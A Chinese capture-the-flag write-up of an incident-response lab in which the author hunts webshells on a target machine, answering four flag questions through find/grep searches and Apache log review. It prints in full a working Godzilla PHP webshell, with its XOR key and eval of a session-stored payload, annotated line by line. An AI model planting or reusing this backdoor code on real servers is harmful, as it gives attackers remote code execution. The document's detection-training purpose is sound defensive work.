玄机——第一章 应急响应-webshell查杀 wp
简介
靶机账号密码 root xjwebshell
1.黑客webshell里面的flag flag{xxxxx-xxxx-xxxx-xxxx-xxxx}
2.黑客使用的什么工具的shell github地址的md5 flag{md5}
3.黑客隐藏shell的完整路径的md5 flag{md5} 注 : /xxx/xxx/xxx/xxx/xxx.xxx
4.黑客免杀马完整路径 md5 flag{md5}
手动排查
参考文章
https://blog.csdn.net/administratorlws/article/details/139521078
1.黑客webshell里面的flag flag
使用Xshell连接到靶机
查找webshell和上一个类似
find / type f -name ".php" | xargs grep "eval("
找到三个文件,进入目录查看

在gz.php中看到webshell特征

<?php
@session_start(); //启动会话
@set_time_limit(0); //设置脚本执行无时间限制
@error_reporting(0); //抑制报错
//哥斯拉webshell管理工具特征
function encode($D,$K){
for($i=0;$i<strlen($D);$i++) {
$c = $K[$i+1&15];
$D[$i] = $D[$i]^$c;
}
return $D;
}//xor解密代码
//027ccd04-5065-48b6-a32d-77c704a5e26d
$payloadName='payload';
$key='3c6e0b8a9c15224a';
$data=file_get_contents("php://input"); //接受一个http输入流
if ($data!==false){
$data=encode($data,$key);
if (isset($_SESSION[$payloadName])){ //验证是否为空
$payload=encode($_SESSION[$payloadName],$key);
if (strpos($payload,"getBasicsInfo")===false){ //检查请求中是否包含getBasicsInfo
$payload=encode($payload,$key); //将payload解密
}
eval($payload); //执行解密后的代码
echo encode(@run($data),$key);
}else{
if (strpos($data,"getBasicsInfo")!==false){
$_SESSION[$payloadName]=encode($data,$key); //为空的情况下初始化webshell
}
}
}
fla{027ccd04-5065-48b6-a32d-77c704a5e26d}
2.黑客使用的什么工具的shell github地址的md5 flag
已经明确是哥斯拉
Godzilla地址:https://github.com/BeichenDream/Godzilla

flag{39392DE3218C333F794BEFEF07AC9257}
3.黑客隐藏shell的完整路径的md5 flag{md5} 注 : /xxx/xxx/xxx/xxx/xxx.xxx
既然是隐藏shell,那就要用到ls命令

看到php文件就使用cat命令查看一下
最终为.Mysqli.php文件

flag{aebac0e58cd6c5fad1695ee4d1ac1919}
4.黑客免杀马完整路径 md5 flag
因为免杀马通过静态检测是检测不到的,因为在免杀的过程中将webshel的特征值以及特征函数都给去掉了,
但是webshell执行会在网站日志留下记录,那我们就到网站日志里面看看有啥可疑的记录,这里也顺便说一下linux的日志存放在/var/log目录下。
linux网站访问日志:
/var/log/apache2/access.log
或者
/var/log/httpd/access_log
linux网站错误日志:
/var/log/apache2/error.log
或
/var/log/httpd/error_log
cd /var/log
ls
cd apach2
cat access.log

由于xshell黑框框太费眼,我将日志使用Xftp下载下来查看

首先找到这个文件,但是提交后显示错误
继续下翻

此文件出现两次,选择提交

flag{eeff2eabfd9b7a6d26fc1a53d3f7d1de}
为什么确认他是恶意文件
混淆和隐藏:
使用Base64编码和字符异或操作来混淆代码。这些技术通常用于隐藏恶意代码,避免被直接检测到。
动态执行:
动态生成并调用函数。这种模式允许攻击者通过URL参数传递任意代码并在服务器上执行,具有极大的危险性。
外部输入:
使用$_GET参数来控制代码行为。通过外部输入来决定代码逻辑,使得攻击者可以远程控制服务器,执行任意PHP代码。
原文链接:https://blog.csdn.net/administratorlws/article/details/139521078
工具查杀
使用xftp将源码下载下来,打包放入D盾当中


浙公网安备 33010602011771号